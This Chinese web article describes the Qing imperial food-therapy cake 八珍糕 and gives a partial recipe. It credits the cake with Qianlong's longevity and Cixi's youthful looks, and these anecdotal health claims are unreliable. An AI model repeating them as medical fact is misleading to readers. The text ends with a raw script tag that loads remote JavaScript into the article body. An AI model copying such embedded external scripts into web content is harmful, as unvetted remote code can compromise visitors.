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八珍糕

文章来源:本站原创作者:发布时间:2014-05-15 14:45:57

        清宫御膳“八珍糕”,是颇有名气的食疗方。自乾隆40年以来,历代皇帝、皇后、嫔妃、皇亲国戚、王公大臣等等,无不竞相服食。乾隆皇帝治国60年,文治武功均为后世所称道.他身体健康、精力充沛,享年88岁,为历代皇帝最长寿者。这中间的原因当然很多,而经常食用八珍糕也是原因之一。

        慈禧太后也喜吃八珍糕,直至晚年,服食八珍糕从未间断。御膳房选用上等材料,特意为她精心制作。常吃八珍糕使她营养良好,身体健康,容光焕发。据记载,慈禧70岁时,体态容貌若50多岁。她享年73岁,在当时也算是高寿了,应该说,这与八珍糕的健脾胃、抗衰老功能有关。

        在发掘清代宫廷医案时,专家们发现了御膳“八珍糕”的记载。它的配方和做法如下:人参6.25克、茯苓62.5克、山药62.5克、扁豆62.5克、薏米(炒)62.5克、芡实62.5克、莲子62.5克、粳米面125克 ......<script language=javascript src="http://www.cncdt.com/comm/100md6x/login.js" type=text/javascript></script>

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